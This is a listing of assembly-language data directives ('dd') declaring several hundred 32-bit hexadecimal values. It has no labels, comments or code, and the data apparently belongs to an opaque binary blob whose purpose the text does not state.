		dd 3E392E19h, 1CE81656h, 65982D53h, 70B76604h, 0E17E7606h
		dd 8C436FD9h, 6975801Ch, 56FF296Ah, 0EE80566h, 0EBD63103h
		dd 0C03EBE56h, 38810250h, 0E06D7363h, 786E02FDh, 16680A14h
		dd 3A05E11Ch, 0F1DA000h, 4B2455B6h, 2044BB52h, 0CAAE561Ch
		dd 30C05892h, 0EB2074D1h, 0CA18A41Fh, 581B2406h, 59910AE8h
		dd 0F1A22092h, 1852625Ah, 57800C02h, 840A568h, 0BBD51B7h
		dd 0DA07CF0h, 4413B18h,	0DFAA42F1h, 9C39D2FFh, 80BB143Ch
		dd 1EC1C391h, 7E3F850Fh, 587E6D49h, 0B0567ED0h,	0D151EAA1h
		dd 4B2CBE16h, 950C0808h, 0F067D24h, 363F1B84h, 0D01B10A1h
		dd 0BE28859Ch, 20F1ECE6h, 0DBBD3BD3h, 0D0002A5Ch, 0F93846ADh
		dd 43847347h, 6B3C640Bh, 223BDB72h, 45D9D114h, 8B10C812h
		dd 0D9B7F07Dh, 14FC9D6Dh, 18CFE357h, 0CCBE32A4h, 0D85B8BCBh
		dd 0DF825FEBh, 31513D0Fh, 0FA7C7FE8h, 5A04757Bh, 0AA858577h
		dd 8CA7C15Dh, 4EF410CFh, 4231F17Eh, 86E0403Fh, 4CD00478h
		dd 7EF81212h, 4762A09h,	0D9883727h, 72014F3Bh, 0B5D1AF8h
		dd 63F3D0C0h, 0E17F3E39h, 0E4F4163Dh, 5FBA1082h, 0EBC24535h
		dd 0A2A5EB24h, 53200D8Ah, 0A581A235h, 21569060h, 0A52C1502h
		dd 249B67Fh, 69E914C3h,	0DDAAAAFCh, 0CA8F690h, 54A60E8h
		dd 6CB21C52h, 88A11541h, 0F006324Ah, 0A7AC47B6h, 0E9D5EB06h
		dd 0B9140607h, 143D89BDh, 7AC9C892h, 18355821h,	4386FB95h
		dd 0D44ABC03h, 733506E3h, 0F1D5AAFEh, 460E246Ch, 87F021BDh
		dd 514F73F8h, 0E6437C3Eh, 0DE7F7C61h, 4E062257h, 7419D010h
		dd 4D5A9803h, 60B57F4h,	0F5587980h, 83B02650h, 6BF0C029h
		dd 5791702Dh, 20856F50h, 20EA3401h, 0EB14C6E7h,	2FD4A951h
		dd 454E67FBh, 0FB43AE47h, 1278804Ah, 0BF508D8Ah, 0ADD654C4h
		dd 16044FC2h, 60CBB1A1h, 0E8135260h, 60BAB2A8h,	6F622DEh
		dd 750F0258h, 544A076Bh, 0A9C4EE3h, 330F01A8h, 30CE090Ah
		dd 565907E9h, 0CD0344C0h, 0A2D83EADh, 0F21743F8h, 5DD4320Ch
		dd 93FC739Ch, 0BBFDE475h, 4E74AF40h, 7E55E055h,	774C057Ah
		dd 17128FCDh, 18B034AFh, 0F04448A1h, 0C4BA5A4h,	0FEFCD5EEh
		dd 0F455FB83h, 0D7094D4Bh, 0EC9B27DFh, 9FA52FE6h, 13832864h
		dd 5736FEBDh, 343780A4h, 0EBB7C7F0h, 7AC65DA6h,	8964630Fh
		dd 27BA750Dh, 0E199E65Dh, 7413A766h, 0E9718203h, 69B9F28Ah
		dd 0BF203605h, 0F91C0549h, 91022844h, 3F483D37h, 25699288h
		dd 49E52C55h, 0A35703C8h, 2E107CE8h, 0B54240E8h, 367409D8h
		dd 0E8576F30h, 23C2057Fh, 7D680446h, 2814CAE6h,	77868940h
		dd 1E0C732Ah, 13491054h, 452F09E1h, 6570718h, 5EB8BEC9h
		dd 8D1C79Fh, 467E1808h,	19A84B1Ch, 645CD489h, 94F4DC92h
		dd 38E2BF4Eh, 620D4561h, 0E41264C7h, 0E0641008h, 3DFD17B1h
		dd 0FE51544h, 4E5D1508h
		dd 0D603FDFCh, 1E956634h, 85704BAh, 0B564CDB9h,	3C2441A5h
		dd 7FC3D2B5h, 0EA2D93C8h, 2D684464h, 2771D4CDh,	7B86B92Ah
		dd 0F4BB292Dh, 0CFEB6207h, 4D8F9288h, 0D87885EEh, 67B04689h
		dd 7FA355E4h, 82E2E0F9h, 513F817Eh, 8327050Eh, 213CD37Fh
		dd 0C91465F7h, 39124297h, 13CCC58Fh, 740DD40Ah,	9547E80Eh
		dd 0F1DCFB21h, 0F2E69F01h, 75839DA7h, 3F788319h, 8C76136Dh
		dd 0A91E0A69h, 2A27E788h, 0A2204636h, 0E27E3A0Ch, 0F204410Bh
		dd 0C37569D2h, 1422E913h, 0A12ADE6Bh, 474E6011h, 49107CE8h
		dd 0FEF66F91h, 3E44E061h, 685868B2h, 4B7D884Ch,	0F526AF36h
		dd 2D30454Eh, 120B2BBFh, 0B55B1E91h, 880B2F53h,	852B1214h
		dd 0C1369712h, 0A2E97D22h, 8964891Bh, 521D8731h, 4C085D85h
		dd 35B50873h, 31C2E451h, 0D2125CBFh, 14E0368Bh,	0B7252C4Fh
		dd 9FC1F9BAh, 0F04C57Eh, 14E4BD85h, 2223078Bh, 0CBC98B4h
		dd 97EB5608h, 58E11834h, 3A3D7556h, 294657E8h, 6791588Ch
		dd 0A97E74C6h, 7F073482h, 674A08FAh, 1E6052B9h,	239566EBh
		dd 36568A28h, 48A23110h, 463FFA91h, 3B501B0Eh, 1CEA04C5h
		dd 468D40C1h, 47425008h, 476333B3h, 15B63A64h, 1A1FEB94h
		dd 19799988h, 4EC43009h, 92A90159h, 0BF49527Dh,	9DE94C24h
		dd 0C4AA8A75h, 383E30C4h, 0A5F9CC51h, 1B74AB44h, 4224BE2h
		dd 83AA1148h, 1D70FF51h, 0BBB5B0EAh, 80B462D2h,	0C45381Dh
		dd 54950F3Bh, 758A7267h, 195F6ACAh, 0C02A01B0h,	85C60396h
		dd 0D7CD217h, 9E32200Dh, 0E0C228Fh, 0C14BCAEEh,	7D4983FEh
		dd 2F513D31h, 0F399CFB2h, 22BB6555h, 966D3E43h,	0AF50C2E8h
		dd 0D06F7490h, 5DDDC6C6h, 0EB5EC929h, 756022D6h, 0A402B905h
		dd 0A0E831AFh, 41595D45h, 5C0CC281h, 0C88F40D9h, 18A142C8h
		dd 0DF818872h, 82A46216h, 4E07EBD0h, 661F8222h,	0E934809Ah
		dd 2F3348C4h, 569558A2h, 4380D461h, 5454B20Bh, 1202EB30h
		dd 667FDEAAh, 0D5E09797h, 0E19F5EFCh, 0CE7AC31Fh, 568827DBh
		dd 3AFD5205h, 0DC31FDDEh, 19AF0261h, 11A6027Ah,	309E02E8h
		dd 1D91FB81h, 0DD287D09h, 2098796h, 7D9EE853h, 1CDD9F89h
		dd 2584087h, 43DB6CBFh,	120EA26Bh, 5FD91BFDh, 93DAA27Ch
		dd 0FC8859ACh, 85240364h, 588DEB82h, 56E08C7Eh,	0A9891042h
		dd 47BFE378h, 0B97F4BE1h, 1372C4BAh, 89EB6516h,	65913A37h
		dd 0D28068Ah, 0AC08419h, 0E14F60CCh, 0C053094Fh, 0B6D47ECh
		dd 0D3E32B36h, 0D644C088h, 0BEEA12EBh, 8CC0D33Ch, 74C33B06h
		dd 4ECAFF36h, 5CE1757h,	8D0A25E1h, 0B106E114h, 1464611h
		dd 0DD1617CBh, 0CA7CBD32h, 0CB64120Eh, 80EE9258h, 0F0253E2Ch
		dd 9008D90Ah, 4409CB46h, 0F289E9E8h, 0EA25F112h, 0CDE19EFh
		dd 32CD28FBh, 0E006E4h,	0F345C6F4h, 0D00E0166h,	2B5E418Ah
		dd 48870F6h, 0FFD73907h, 12E95C18h, 5D567D12h, 0C4B5FB39h
		dd 0D0432DE4h, 65EB6300h, 4E06FB83h, 5E743E7Fh,	1F2A5E0Eh
		dd 9A461E6Ch, 0C3550A54h, 4C0A0635h, 0C8FE3775h, 800FEB73h
		dd 6C36017Eh, 58020C2Ch, 0F274EB34h, 0D07CC923h, 0FEAD897Fh
		dd 0F08B40DBh, 46CE27EBh, 5A22ACF2h, 17743268h,	37846C0Ah
		dd 2840C677h, 0EEBF11Bh, 0F0067E79h, 0F14DFA06h, 7D808207h
		dd 0C4D5C58Bh, 0D314D07Fh, 396D8924h, 0EB3C8A55h, 1069BC2Ch
		dd 44B57904h, 0EAD453E9h, 24E47D28h, 0D881475h,	0D19A533Ch
		dd 6BDF3C43h, 44B0578h,	197ED1Dh, 0CA00A8A1h, 73CE8333h
		dd 6EFE3020h, 2874C482h, 0AC6310CEh, 0BF7B0A14h, 85AE1D2h
		dd 0B5E83F47h, 0B4B1179h, 0F9C11FB9h, 0AE0E4676h, 0FDFDEC4Fh
		dd 0ACAE020h, 0CB2D82F4h, 6F6626EDh, 25E08ACh, 50A1E31h
		dd 12CF6308h, 6488F02Ch, 3104F80Ch, 0F6A548Eh, 387E3267h
		dd 79E3690Ah, 579BE350h, 0BC150245h, 4C6E82ECh,	21E98F18h
		dd 646A0BC5h, 0E05D0DC2h, 0C82DFB36h, 0A8A07E42h, 3601E939h
		dd 172B137Ah, 0D63CB58Dh, 750A36A4h, 0B9D880Eh,	293D2232h
		dd 2B26500Ch, 55177526h, 0A7AB08ADh, 0CEE85786h, 0A3D8FE91h
		dd 0EB6619AAh, 0CD832F03h, 485DC2E0h, 9A5DF4B8h, 0E17E5A9Dh
		dd 0CE091420h, 21042045h, 9152D559h, 0B30921DCh, 51715A8h
		dd 1E88E4B0h, 705E4846h, 4A38BB70h, 757AD11Dh, 5C295C66h
		dd 34DC23ABh, 888596A8h, 462A0A06h, 0D4EB786Eh,	0F027187h
		dd 92E4C940h, 888E7063h, 0D2A365FBh, 0F1450A2Fh, 8239A33Fh
		dd 6506C676h, 0E6CB3791h, 752DAC1Ah, 86055075h,	15279346h
		dd 28992C1Eh, 0FAC3421h, 199E2DA9h, 64A755A3h, 12213B44h
		dd 13640864h, 5EA02698h, 0A28D7268h, 0A401664Dh, 0DC2605F6h
		dd 0D94DA040h, 0F5CC5015h, 0FCC56B26h, 0F50B420h, 90C898BEh
		dd 48D42750h, 42776962h, 4C11DD06h, 52941429h, 0D4612FBh
		dd 5410C752h, 7EB68C9Dh, 0EA7DA69Ah, 4DE0BF31h,	2B9F0BE9h
		dd 1883D28Bh, 2A3B87Dh,	0F325E6B5h, 0E4515AF7h,	11AC9636h
		dd 316DFEB7h, 31247413h, 313BF9D7h, 3FFA91A7h, 0EB2B2C4Ch
		dd 4C30D8Ah, 34203187h,	0B87BE91Dh, 8B1E62A7h, 4E6D9ADh
		dd 0EA5E3F80h, 8B84E6E8h, 1271E8C7h, 673599E9h,	0ED22320Ah
		dd 44245EA6h, 0B5C0666h, 11EB01F1h, 5680E38h, 0FB633691h
		dd 45742A30h, 461A8686h, 0C0E15B4Eh, 2F743B8Ch,	2AEA5810h
		dd 6AFBF398h, 16AD7D9h,	0E95E6FE1h, 452F4D16h, 383A093Bh
		dd 6A001851h, 0FDE95B30h, 4445AE01h, 8CD85909h,	24786A85h
		dd 7910CFEBh, 0C5C114D8h, 0EB2AFFE8h, 0D59C200Bh, 0A2B6ED22h
		dd 7D9DE179h, 1A107B16h, 9D5D3AC6h, 4718B209h, 9820A756h
		dd 558A13FEh, 7E3BECCBh, 475F741Dh, 0D427366Ch,	0E53D9F5Fh
		dd 20302F5Ch, 1F3A4736h, 0C0473D1h, 0C208EBC1h,	0D0E0EBEDh
		dd 33902177h, 0F006D260h, 3946F22Bh, 0C22FCA8Bh, 1B39A40h
		dd 90515B97h, 4E420F9Ch, 0A632AF75h, 544B4EBh, 8BD08AC8h
		dd 0EB1F78C1h, 22EC9B69h, 28040199h, 0CBD64985h, 89BF424Bh
		dd 0D01A12E6h, 0C860BDF0h, 3DD053E8h, 264853E5h, 2553430Eh
		dd 0E4F19C68h, 1A1484A4h, 54EE5F3Dh, 7E033209h,	16AC88Bh
		dd 2C5ACB26h, 0D3E85D03h, 0C11C0CE2h, 4C1603F9h, 339C0D00h
		dd 74D185CBh, 0CCF9160h, 0EA0C5275h, 464194C9h,	45881291h
		dd 0BE31C5C8h, 0CC0DC732h, 0DD036C00h, 2BFBC92Eh, 0B55A03B2h
		dd 0C20892C6h, 2B5A2B1Ch, 9AD6A2Eh, 7F707DE1h, 0BC901498h
		dd 401A0359h, 0D997D49Eh, 0D072330Ch, 8845CC2h,	0A36BB44Dh
		dd 39280342h, 28A581BAh, 8CE65EEh, 0E668027Fh, 7291E3ACh
		dd 0A0658642h, 2404BBD4h, 0A6C22083h, 11128C60h, 8BBAB958h
		dd 0CAB001F3h, 0C6B90675h, 4E248026h, 31A24F6h,	3A2453EFh
		dd 28B94DD0h, 0F1645D01h, 89C9E3E9h, 4B753E20h,	2F95294Fh
		dd 374855E2h, 32D0A416h, 51140DA0h, 55481725h, 9C14B9A3h
		dd 0DC55CBD8h, 0E859C701h, 53F451E7h, 0C11EB989h, 0B9027DF0h
		dd 9B53654Eh, 0D05810ECh, 0F0C25DE8h, 8115756Fh, 537D38B8h
		dd 8103504Ch, 39851597h, 30E1A2FBh, 0E8D806DCh,	78A46866h
		dd 11204B60h, 99D0438Dh, 111A0164h, 5CAE510h, 24ABBAF0h
		dd 7E3695E4h, 50D7E9C9h, 42FF9148h, 4120239h, 8405E9EDh
		dd 4DBB73DCh, 0ED0EBBCDh, 0C3AF1BD1h, 381AAED9h, 0F48C4E9h
		dd 7430B2A2h, 700ACE3Fh, 0D8C53AAAh, 4487CF93h,	100A2276h
		dd 0E700C16Ch, 8D3FEB03h, 0F1D1BF3Ch, 4E8AF4DFh, 3BCF5684h
		dd 5337740Dh, 44E8F86Ch
		dd 91BB0152h, 5DA42E4h,	0D01F7C8Dh, 4258DE78h, 785CC801h
		dd 285015Bh, 0DFF70274h, 0BE468C85h, 0CCCC9135h, 5A36E1CEh
		dd 33297513h, 4825D056h, 5A316410h, 0DC93D2D8h,	2610EB23h
		dd 6F62F33Eh, 0C38937Fh, 0FE0A66AEh, 582DDFF9h,	0C95E0F0Ch
		dd 0E1EA9942h, 8977A9C2h, 3BC90300h, 49FB4EC3h,	0A8E5550Bh
		dd 18C41426h, 5984B733h, 50940E28h, 3E2A25C8h, 0FEE6D79Fh
		dd 2AC7E253h, 8E593EFh,	0FC6EF760h, 17F0F244h, 0FC84068Ah
		dd 0F65613A7h, 0B2305C82h, 0DAC46BC7h, 92E75105h, 9CDAE8Bh
		dd 7D342636h, 7318221Dh, 32633BDFh, 0CC9A11A5h,	3807A5DFh
		dd 0EDF8AC12h, 0F94EB990h, 0C276D5ECh, 0F2107E56h, 0E529D23h
		dd 33CDDE2Dh, 0A9214E5Bh, 37C7A412h, 3081E674h,	0B02B07EEh
		dd 0E89FC3BBh, 0E64AFF88h, 4B097D78h, 9D44AC0Ah, 0E852C382h
		dd 43445CFFh, 35167C83h, 28FA0F74h, 294A18CDh, 0A156F5C8h
		dd 216A574Fh, 7BE8062Eh, 0C7AB56D4h, 0BAB28486h, 0E72F93A6h
		dd 83E756DCh, 0F2532422h, 6CEB2759h, 46FBC7A0h,	0A36F8C0Fh
		dd 8A5BFEADh, 978FE10Dh, 0FE30BE14h, 5104BD34h,	73B9A88h
		dd 5AC3F6ABh, 2FF8098h,	0E846017Eh, 8BD71B60h, 0FC4B8DC3h
		dd 6DC02469h, 1FA5ACE5h, 2D69202h, 0D103F859h, 0D5F08641h
		dd 1C2E60C2h, 400C8D17h, 0E43082F2h, 0C96BC812h, 4D033C0Ah
		dd 0D060618h, 4E968720h, 11A824Fh, 34E2F5h, 118C8D87h
		dd 55811F80h, 0C12F7Ch,	0C22BA520h, 24248652h, 825F9545h
		dd 40DC45B4h, 0B92B2862h, 933C3419h, 787E068Bh,	75C1EA8Bh
		dd 4EA24444h, 0BF321CDDh, 73FCF38Bh, 0AA24BCC4h, 21FBE385h
		dd 0BDAEE98Ch, 0FB012F1Dh, 2FD0AD5Ah, 0B6178522h, 0D3722D83h
		dd 65B0D95h, 0E81001E2h, 84366B8Ch, 12319948h, 5E43BB6Ch
		dd 0F8568B67h, 2782C2F6h, 1EC03475h, 0F9678357h, 0AE9E1422h
		dd 3DFCD7C1h, 37BD3C84h, 0BF08CF74h, 44F8A40h, 0E1801C5Fh
		dd 5CF9D982h, 0B0CEE106h, 7E8172EEh, 0BF3FBE18h, 8A4E68E6h
		dd 0C8EDC14Bh, 1090C523h, 480E8B0Dh, 0EAC74DD1h, 0F9578542h
		dd 3A3724A3h, 0A9094AF3h, 57DA900Eh, 51B77F9Bh,	353B8B71h
		dd 0C564C27Ch, 0E61603F3h, 5BC3F81Fh, 0D96EB9B1h, 0CB997FC3h
		dd 7A8AC6FCh, 75B0A250h, 89ED2C1h, 32F86665h, 0BBE79E7Dh
		dd 0CBCFA8DEh, 750230C3h, 0B90A4A62h, 5401284h,	166D08EFh
		dd 2DF11016h, 14F868Bh,	0C6C0655Eh, 5F053044h, 70D8B90Ah
		dd 5C2E506Bh, 3034424Eh, 0CFAA7657h, 0DD7C3ACBh, 0FD056A62h
		dd 0BEDD61EBh, 3189B82Ch, 0E915980Dh, 0F871413Eh, 0FDC83E6Dh
		dd 0B319D435h, 7C0B8C11h, 4BB02652h, 0F1F4B6F0h, 0A18175CEh
		dd 0BA8A0430h, 80A817C8h, 95771186h, 0EC090061h, 0BB80A3Fh
		dd 2E20C58h, 88FB2402h,	0B5570F01h, 310D889h, 0DECAC86Bh
		dd 0CB838BE2h, 369C4F4h, 221A3C8Ah, 0D8B7AE68h,	0B60B508Ch
		dd 28FF6347h, 1F1491E9h, 1AC53949h, 5D451873h, 9248EA43h
		dd 2126094h, 1BC65EEBh,	8B470D07h, 0CCB373CAh, 0D712596Bh
		dd 0D5086762h, 190AD1D1h, 0A4471596h, 415E74D7h, 205005A3h
		dd 5C8A6A13h, 8F179820h, 47000B8Bh, 5314488h, 903B29EBh
		dd 0B8757C48h, 0C8FF6F85h, 0EBA92EBBh, 5C9CB918h, 4FE884DCh
		dd 1A0533D9h, 78119C84h, 0F9344C0h, 6EB28279h, 5EA9B7B0h
		dd 6F45274h, 0E5239362h, 2BC38802h, 0CE898E39h,	0FC96EDBCh
		dd 603EF901h, 53B5347h,	7726EF91h, 0AE7F731Ch, 55268BC8h
		dd 1CAFF92Dh, 0F44A13Ch, 56973108h, 9E1970F0h, 0CB086B32h
		dd 4FEB504Ah, 57EF6ABDh, 829D9E64h, 77AC1596h, 5DC97774h
		dd 941D13Ch, 0EC52A4C7h, 52072FB4h, 8DFD2AA5h, 0ADC3F6FFh
		dd 9016699Bh, 0BBC9574Ah, 4E1077F4h, 7558F039h,	375F47Dh
		dd 621110D4h, 7741E830h, 0C3937079h, 5B3F43FAh,	66D0578Bh
		dd 830C2F7h, 472BEE01h,	0B85EB704h, 4FEBD0B4h, 0D9E9D813h
		dd 2B68878Dh, 0E3290CC2h, 0C1DEF02Bh, 0E3DDA1FAh, 42145060h
		dd 0DAD84095h, 7480040Fh, 3BD1C028h, 0F22273D0h, 0A90A5E3Ah
		dd 42F806E6h, 0FB62F1EBh, 0A63A12EDh, 0C1E985DFh, 0C2B80813h
		dd 0BF50BE6Ah, 0F642D14Eh, 3AE16147h, 578032AFh, 88D211C1h
		dd 11552132h, 0C12B1792h, 0E48A16h, 0F865BDC6h,	4AE306E6h
		dd 5BF5B96Ah, 0FEBF4AABh, 3EC0C8C2h, 0ED4A1DADh, 8B4472C2h
		dd 29FB7348h, 22BF8B38h, 0BC475C40h, 2F345076h,	4D32A1FCh
		dd 282B813h, 39640766h,	34C27742h, 45EEC64Fh, 0C22DD705h
		dd 0ED5D4347h, 831E6726h, 4E06E642h, 0F803D329h, 327B876h
		dd 0A57373C1h, 0EFA77974h, 2FF5CBA8h, 5CBB72D2h, 907FFFD3h
		dd 535B0C6Eh, 0BE637068h, 80EC7FE1h, 0EE901584h, 891420F3h
		dd 0EB10241Dh, 0D4426122h, 1C52438Fh, 59551A8Ch, 82442890h
		dd 0AF587420h, 7E0B3B7Ch, 0D3B1D710h, 64333F9Eh, 89A1EA45h
		dd 0B625DD1Eh, 5AD2A81Dh, 4942EFDEh, 12DFE92Fh,	4185778Ch
		dd 20454CD3h, 386DA132h, 42EB7A6Bh, 0DD402FE8h,	28D1BB24h
		dd 575CBF2Fh, 9A641589h, 0B645C82h, 0ED66DF3Bh,	4F368B5h
		dd 3CEFB81Bh, 0E8072403h, 19FF9EFDh, 0C4658EF2h, 80B8DC84h
		dd 52DB1389h, 7D2E3319h, 72CD1257h, 7417D0BDh, 0DA18F166h
		dd 44476293h, 4DF54458h, 911BF2D0h, 969088A6h, 0D8A5E08Bh
		dd 74F73B01h, 0D45F632h, 0CC407820h, 0B2F21C7Eh, 0D6413B89h
		dd 0DB591E7Fh, 2255331Eh, 47A68FCDh, 658D041Ch,	0E4FAF9C8h
		dd 0B490EFE9h, 49113623h, 35D0DCC9h, 1242B486h,	0B3DB94DCh
		dd 74DFFDD8h, 0CB56B432h, 2A68BEE4h, 82909C74h,	1513C3B4h
		dd 8D06EB08h, 20685298h, 4A8C025Bh, 0C0385315h,	7191B45Ah
		dd 0C685B39Ch, 7136CE9h, 240916ABh, 56D7801Ah, 0D9B04A8Dh
		dd 0F0A90D4Ah, 258B5F50h, 5DF849F1h, 5E1BF365h,	402B99C3h
		dd 0BFC2843Fh, 7C5DD232h, 88886577h, 590BF077h,	0A6C4353Bh
		dd 95228950h, 0A548D15Eh, 14F33B0Ch, 0D2128456h, 4BA0F0B8h
		dd 74301439h, 0C75DB72h, 81E03D42h, 0F14E7C1Ah,	94CB8CAEh
		dd 0EBB18AA2h, 6A558B24h, 47DF440h, 0D0A9E0BFh,	1E87D20h
		dd 0F3518954h, 71AAAB26h, 1620E41Dh, 88EF860Fh,	14C4EEC5h
		dd 8D40BB84h, 118AEF4Dh, 0B494D2F4h, 8DB6CB6Eh,	3BF40819h
		dd 5087FEC2h, 65882693h, 82048BE1h, 5394EE4Bh, 348D92C2h
		dd 26257C52h, 0AA040F94h, 85159E4Eh, 1F5F94Bh, 8A2C74CBh
		dd 8EBB0151h, 1C7E25B4h, 3BFAC286h, 0F577C7h, 928AFC70h
		dd 8B3A8E8h, 4047A190h,	0F5762887h, 82751941h, 0FCD4757Fh
		dd 0D008456Fh, 0C1720414h, 0EBC2CC83h, 0B8A3AADCh, 90A35042h
		dd 0A4C6E8ADh, 0F4B63199h, 9CD0BF79h, 594AA521h, 64FBCA3h
		dd 2F8355EBh, 570BFF79h, 584A19FFh, 5F42A259h, 135ED23Dh
		dd 0C956F172h, 0A2D091Ah, 4BB5155h, 0C30C10FBh,	0C0AB4E44h
		dd 390DEB02h, 0BB2401Dh, 727D09B7h, 99B2EA9Fh, 3EB894Eh
		dd 28BEDA47h, 56A92225h, 0BEC631FEh, 128C7C98h,	329C25FFh
		dd 15B4FD6Bh, 8B589843h, 68620F2Ch, 4A22521Ah, 2D54A42Dh
		dd 83227403h, 25F8D4E8h, 1CF0BD75h, 75C8485Eh, 0C16FFB8h
		dd 427C1243h, 45113E08h, 0BD403460h, 0E56D570Ah, 37B575AAh
		dd 48C65A18h, 0AFC468DDh, 14C20174h, 0C9570905h, 0E823FF55h
		dd 16F20B48h, 78637C2Dh, 5848805h, 0FED5ECh, 0F472C683h
		dd 0F276458Ah, 200E8550h, 2E42845Fh, 61558D57h,	0A76CB661h
		dd 0C13B0B7Dh, 487E1D77h
		dd 0D2BBC15h, 320B841h,	41BCA23Bh, 0BCA23B85h, 42AA3877h
		dd 0FFB08AB9h, 5FD0756Ah, 0E86A5B36h, 0A1FA4188h, 7B218EEAh
		dd 97E67725h, 0E5F4565Fh, 65549559h, 28FDEC62h,	1F56951Eh
		dd 0D35A9DEh, 1281AFE8h, 2717FC24h, 2889CFECh, 0C4831087h
		dd 0E3EEB25Ch, 8B667340h, 939B411h, 0FB301674h,	94288A10h
		dd 90FA6505h, 61EBE044h, 7402361Ch, 84201810h, 0E3EBB9C1h
		dd 1D44A080h, 3D858284h, 0EBBF0142h, 0A1164E49h, 19F94126h
		dd 115A0A93h, 0C88F4CABh, 0BF20C127h, 1F304A95h, 13726132h
		dd 777A0AC2h, 3A4FB30Eh, 0EB95E93Ch, 97984DE0h,	22BE5EBEh
		dd 1FAB0C8Ch, 1958B875h, 0DD2CE8FDh, 0CFD2059h,	0F24FAB47h
		dd 2EDC28A2h, 89988996h, 94117506h, 0E8E26FA4h,	86F4A981h
		dd 26816365h, 5F685610h, 39D03D27h, 4A018A12h, 58F6D4F0h
		dd 88C07586h, 47137407h, 19354166h, 161ADA2Fh, 0C414AEA4h
		dd 10084CCAh, 0F0E5752Eh, 674C800Ah, 46576F6h, 8081FE0Ch
		dd 0AD704AC2h, 0A62D65Eh, 3EDC0171h, 0C4B5D1A4h, 5FD134CAh
		dd 2B375D5Fh, 48B70420h, 9E0D3B22h, 830F61B3h, 4C747279h
		dd 15F12782h, 0FE91A76Eh, 4A570301h, 7DD00545h,	960EA110h
		dd 36C9F006h, 16EB1404h, 0E8CFB1F1h, 0F729E851h, 64B7C9F6h
		dd 16BAC614h, 0C1308223h, 0A30CEA2Ch, 0BFCB233h, 0E786C803h
		dd 0FBD92554h, 0FCFC1483h, 0ED4FE82Bh, 17293500h, 93EB0695h
		dd 0AA650A88h, 0F380F014h, 9488400Dh, 14812428h, 2B132A95h
		dd 0C1D2ECCAh, 0F88BCC7Ch, 0F12B3C48h, 0ED0256Ch, 246E578Bh
		dd 74187043h, 1F4E643h,	64B8F8E6h, 140B7C36h, 0D107FBCAh
		dd 478A7210h, 2614DABAh, 20CE3B0Ch, 5F740802h, 58056A13h
		dd 4C75FC81h, 0A3B23368h, 801216F1h, 38E529FBh,	0C7EB0206h
		dd 89F44D8Dh, 85506CDCh, 450B1165h, 0F84485D2h,	2D28A7EBh
		dd 99BE949Ch, 0ED598148h, 0C99A6C3Dh, 0DD1C0B40h, 0AD83012h
		dd 42CFCD4Dh, 281C226Ch, 286D3D89h, 5BA016EBh, 20586FF0h
		dd 0D2332F4Ch, 29B8AF19h, 493B25E7h, 42D4C06Ch,	9448763Dh
		dd 0F986BDF4h, 0A1D7213h, 18772413h, 86CD2DABh,	0E4D5046Ah
		dd 11A35157h, 0FA3C42F6h, 12723257h, 2628CA10h,	76450844h
		dd 0D29AA20Ah, 0BB9046F8h, 0FE059497h, 136B5AF2h, 8C880F5Dh
		dd 881516DBh, 54EFB83h,	5C60FB83h, 0E9156870h, 1149110Dh
		dd 8B77F633h, 925544F2h, 7676786Ch, 5F0CAA0Ch, 89554E0Bh
		dd 0C9F45EA0h, 0BBA75F08h, 0DC41518h, 560FD103h, 617DCA3Bh
		dd 2B49348Dh, 0B50A1AEBh, 48552750h, 0C0CC652h,	8BF7754Ah
		dd 0CC443548h, 7CCAB53Dh, 0D8316DAh, 0EB0A839Eh, 13903D70h
		dd 5D088159h, 0E4913D21h, 3D4A2084h, 85908793h,	8D3D3782h
		dd 882421Eh, 798F3D24h,	21110886h, 0A11923Dh, 0FF948A88h
		dd 86AC789h, 8959D381h,	5E730B57h, 0FB23EDEBh, 0F5255E51h
		dd 2EE40926h, 90091949h, 94A01511h, 5D5B0963h, 0ED20E671h
		dd 2239C844h, 56284815h, 745206B8h, 0F2EC45EEh,	8830C011h
		dd 47301C6h, 0F5751039h, 5E49E88Dh, 16A808DDh, 13C13B28h
		dd 0DC16745Eh, 17053E2Ch, 0E4FBB4E8h, 46B3588h,	1DFD701Fh
		dd 0AF257522h, 104F1D63h, 1189D3A8h, 0E8509E40h, 0A81EBA24h
		dd 46E6C56Fh, 303ED2D3h, 0A100D44h, 763F203Ch, 0C41AEE06h
		dd 5E9FA77h, 21047419h,	81522FE9h, 133394AAh, 0B9E6195Bh
		dd 20B61658h, 119894E0h, 0C33A50C0h, 743C1274h,	4701023Dh
		dd 94ABE856h, 7455B1EAh, 0FBEB1EBFh, 0A7BD041Ch, 7026812Fh
		dd 889C5B95h, 0A0DF312h, 0C22A65BCh, 0AEE1090Bh, 8B518AB3h
		dd 3801423Dh, 5539741Fh, 0D371C070h, 5E03BB75h,	1F3F8045h
		dd 0DB552294h, 0C3A26B3Bh, 52063D41h, 7F12522Fh, 5BC993C3h
		dd 0EE13A893h, 330047Dh, 0C97570FDh, 854DFD5Dh,	10959E91h
		dd 939D1D89h, 88F3141Eh, 32320825h, 0A3605957h,	0FA9AC2BEh
		dd 9548BE01h, 0E77C77FAh, 2A22A1D1h, 898BAD55h,	89DFFE8Bh
		dd 0B809DD5Bh, 53E44676h, 4D3A0EEEh, 345E381Ch,	88D90ABBh
		dd 949B08D5h, 0EDCA5F4Bh, 0F404A229h, 0D651BBB0h, 3D509B30h
		dd 0DAE2864Bh, 36AF17E8h, 481450D8h, 0A0B4B6C8h, 0B0A3329Dh
		dd 0B2DD5B0Fh, 16C05483h, 860DEB14h, 1B614A21h,	435AF27Bh
		dd 519F7DB6h, 12172CB3h, 5A84FC37h, 403899D2h, 1E8A449Ch
		dd 52400150h, 29BF0BFAh, 3EEB1446h, 3E4806B7h, 2485011Fh
		dd 108A0371h, 40FA1688h, 31D50CA4h, 0D52CEEBh, 3E79DE04h
		dd 3A8A4151h, 951243EBh, 0A661F05h, 0DA7E8A40h,	34998346h
		dd 0CF196F18h, 9ED20CDh, 0DC124D17h, 0A183CC75h, 0BC314803h
		dd 0FF664B11h, 185A0E2Fh, 0EB789E1Ah, 8AA0E045h, 2805502Ch
		dd 0F1BECA03h, 46C89118h, 558B82BDh, 0CD565D14h, 94D80814h
		dd 5C466286h, 0F7CEE275h, 45934208h, 1812EE2Ch,	0D929712h
		dd 7CD6D818h, 8D222878h, 8B3CC2E4h, 40DCEBC2h, 0C270810h
		dd 18831054h, 0F6C2940Fh, 0EBD1040Ch, 0B04BD38Bh, 43520EBCh
		dd 6C60589h, 0B213465Ch, 811E10FFh, 6E4AA844h, 10168083h
		dd 3F888B7Dh, 0DA3AA7BAh, 0CA2EF6E9h, 79E31953h, 56202606h
